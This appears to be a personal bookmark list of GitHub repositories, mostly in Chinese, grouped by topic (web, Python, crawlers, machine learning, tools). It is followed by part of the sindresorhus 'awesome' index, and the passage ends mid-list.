- [前端Web](https://github.com/qianguyihao/Web) - 小白入门 - [the-book-of-secret-knowledge](https://github.com/trimstray/the-book-of-secret-knowledge) - [google eng-practices](https://github.com/google/eng-practices) - [open source codebase](https://github.com/freeCodeCamp/freeCodeCamp) - Learn to code for free together with millions of people. - [ai-edu](https://github.com/microsoft/ai-edu) - AI education materials for Chinese students, teachers and IT professionals. - [冲出你的窗口，free ss/ssr/vmess分享、IPFS、暗网及蹭网教程、Git镜像等其他资源存储库](https://github.com/hoodiearon/w3-goto-world) - [security countermeasures when designing, testing, and releasing your API](https://github.com/shieldfy/API-Security-Checklist) - [developer-roadmap](https://github.com/kamranahmedse/developer-roadmap) - [You-Dont-Know-JS](https://github.com/getify/You-Dont-Know-JS) - [go入门指南](https://github.com/unknwon/the-way-to-go_ZH_CN) - [开源开发项目](https://github.com/ripienaar/free-for-dev) - [go学习101](https://github.com/hoanhan101/ultimate-go) - [Go语言高级编程](https://github.com/chai2010/advanced-go-programming-book) - [Some useful websites for programmers](https://github.com/sdmg15/Best-websites-a-programmer-should-visit) - [大数据入门指南](https://github.com/heibaiying/BigData-Notes) - [一份涵盖大部分Java程序员所需要掌握的核心知识](https://github.com/Snailclimb/JavaGuide) - [flink learning blog](https://github.com/zhisheng17/flink-learning) - [大系统设计](https://github.com/donnemartin/system-design-primer) - [A curated list of engineering blogs](https://github.com/kilimchoi/engineering-blogs) - [开发技巧](https://github.com/florinpop17/app-ideas) - [Domain-Driven Design Starter Modelling Process](https://github.com/ddd-crew/ddd-starter-modelling-process) - [A Collection of application ideas which can be used to improve your coding skills.](https://github.com/florinpop17/app-ideas) - [java 入门学习](https://github.com/eugenp/tutorials) - [经典技术书籍推荐，持续更新...](https://github.com/royeo/awesome-programming-books) - [面试题](https://github.com/souyunku/DevBooks) - [COLA: Clean Object-oriented & Layered Architecture](https://github.com/alibaba/COLA) ## Python - [时时录音朗读](https://github.com/CorentinJ/Real-Time-Voice-Cloning) - Clone a voice in 5 seconds to generate arbitrary speech in real-time - [python 3 HOME-ASSISTANT](https://github.com/home-assistant/home-assistant) - [The Open edX platform, the software that powers edX!](https://github.com/edx/edx-platform) - [人脸识别](https://github.com/dlunion/DBFace) - [Python实践](https://github.com/dabeaz-course/practical-python) - [A collective list of free APIs for use in software and web development.](https://github.com/public-apis/public-apis) - [FastAPI framework, high performance, easy to learn, fast to code, ready for production](https://github.com/tiangolo/fastapi) ## VR - [VR Awesome](https://github.com/Vytek/VR-Awesome) ## 爬虫 - [二手房爬虫](https://github.com/xingag/spider_python) - [各大新闻热榜](https://github.com/tophubs/TopList) - [Dumb downloader that scrapes the web](https://github.com/soimort/you-get) - [Command-line program to download videos from YouTube.com and other video sites](https://github.com/ytdl-org/youtube-dl) - [爬虫例子](https://github.com/shengqiangzhang/examples-of-web-crawlers) - [Distributed web crawler admin platform for spiders management regardless of languages and frameworks](https://github.com/crawlab-team/crawlab) - [爬虫合集](https://github.com/facert/awesome-spider) - [阅读3.0, 阅读是一款可以自定义来源阅读网络内容的工具，为广大网络文学爱好者提供一种方便、快捷舒适的试读体验。](https://github.com/gedoor/legado) ## 机器学习&AI - [pytorch handbook](https://github.com/zergtant/pytorch-handbook) - Pytorch教程 - [d2l-zh](https://github.com/d2l-ai/d2l-zh) - 《动手学深度学习》：面向中文读者、能运行、可讨论。英文版即伯克利“深度学习导论”教材 - [基于TensorFlow 2.0实战](https://github.com/dragen1860/Deep-Learning-with-TensorFlow-book) - [人脸识别](https://github.com/ageitgey/face_recognition) - [DeepFaceLab is the leading software for creating deepfakes.](https://github.com/iperov/DeepFaceLab) - [Kubeflow](https://github.com/kubeflow/kubeflow) - [华为MindSpore](https://github.com/mindspore-ai/mindspore) ## IOT物联网 - [About Open-source IoT Platform - Device management, data collection, processing and visualization.](https://github.com/thingsboard/thingsboard) - [etLinks 基于Java8,Spring Boot 2.x ,WebFlux,Netty,Vert.x,Reactor等开发, 是一个全响应式的企业级物联网平台。](https://github.com/jetlinks/jetlinks-community) - [PlatformIO is a professional collaborative platform for embedded development ](https://github.com/platformio/platformio-core) ## Nodejs - [koa2](https://github.com/koajs/koa) - Expressive middleware for node.js using ES2017 async functions - [The largest Node.js best practices list](https://github.com/goldbergyoni/nodebestpractices) ## WebGL - [WebGL Fluid Simulation](https://github.com/xingag/spider_python) ## 生活工具 - [12306刷票](https://github.com/testerSunshine/12306) ## Productivity - [适用于开发人员的笔记管理](https://github.com/BoostIO/BoostNote-App) ## 系统工具 - [windows 高级工具](https://github.com/microsoft/PowerToys) - [win10 software 清理](https://github.com/Sycnex/Windows10Debloater) - [win10 feature & app clean](https://github.com/W4RH4WK/Debloat-Windows-10) - [windows installer clean](https://www.homedev.com.au/Free/PatchCleaner) - [Bash's powerful command line editing in cmd.exe](https://github.com/mridgers/clink) - [Mac OS 下开源项目](https://github.com/serhii-londar/open-source-mac-os-apps) ## 开源项目 - [java 电商](https://github.com/macrozheng/mall) - [新蜂商城](https://github.com/newbee-ltd/newbee-mall) - [leanote](https://github.com/leanote/leanote) - Not Just A Notepad! (golang + mongodb) - [live streaming and screen recording](https://github.com/obsproject/obs-studio) - [JAVA快速开发平台](https://github.com/zhangdaiscott/jeecg-boot) - [Open source Node.js Headless CMS to easily build customisable APIs](https://github.com/strapi/strapi) - [A React Framework for building extensible drag and drop page editors](https://github.com/prevwong/craft.js) - [ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, processing, executing, or translating structured text or binary files. ](https://github.com/antlr/antlr4) - [跨平台桌面端视频资源播放器.简洁无广告.免费高颜值](https://github.com/Hunlongyu/ZY-Player) - [一个基于 Electron + Vue 开发的音乐软件](https://github.com/lyswhut/lx-music-desktop) - [微人事是一个前后端分离的人力资源管理系统，项目采用SpringBoot+Vue开发](https://github.com/lenve/vhr) - [又一个小商城。litemall = Spring Boot后端 + Vue管理员前端 + 微信小程序用户前端 + Vue用户移动端](https://github.com/linlinjava/litemall) - [白板](https://github.com/lovasoa/whitebophir) - [文件浏览器](https://github.com/filebrowser/filebrowser) ## 其它 - [iptv](https://github.com/iptv-org/iptv) - [中文项目 Top](https://github.com/kon9chunkit/GitHub-Chinese-Top-Charts) - [不依赖google服务的youtube](https://github.com/yuliskov/SmartYouTubeTV) - [baidu](https://github.com/liuzhuoling2011/baidupcs-web/releases) - [aria2 docker](https://github.com/wahyd4/aria2-ariang-docker) - [Chrome插件英雄榜](https://github.com/zhaoolee/ChromeAppHeroes) - [GitHub 上优秀的开源项目](https://github.com/GitHubDaily/GitHubDaily) - [A list of SaaS, PaaS and IaaS offerings that have free tiers of interest to devops and infradev](https://github.com/ripienaar/free-for-dev) - [google 产品的替代](https://github.com/tycrek/degoogle) - [Apache Superset (incubating) is a modern, enterprise-ready business intelligence web application](https://github.com/apache/incubator-superset) - [A modern and intuitive terminal-based text editor](https://github.com/zyedidia/micro) ## 好玩的 - [好耶 是女装](https://github.com/komeiji-satori/Dress) - [最全中华古诗词数据库, 唐宋两朝近一万四千古诗人, 接近5.5万首唐诗加26万宋诗. 两宋时期1564位词人，21050首词](https://github.com/chinese-poetry/chinese-poetry) - [小说](https://github.com/201206030/fiction_house) - [人人影视](https://github.com/tgbot-collection/YYeTsBot) ## 入门 - [GitHub 上有趣、入门级的开源项目](https://github.com/521xueweihan/HelloGitHub) - [在线vscode](https://www.gitpod.io/) - [Flink 学习](https://github.com/zhisheng17/flink-learning) - [🇨🇳 GitHub中文排行榜](https://github.com/kon9chunkit/GitHub-Chinese-Top-Charts) # below from [sindresorhus](https://github.com/sindresorhus/awesome) ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/nmec/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser 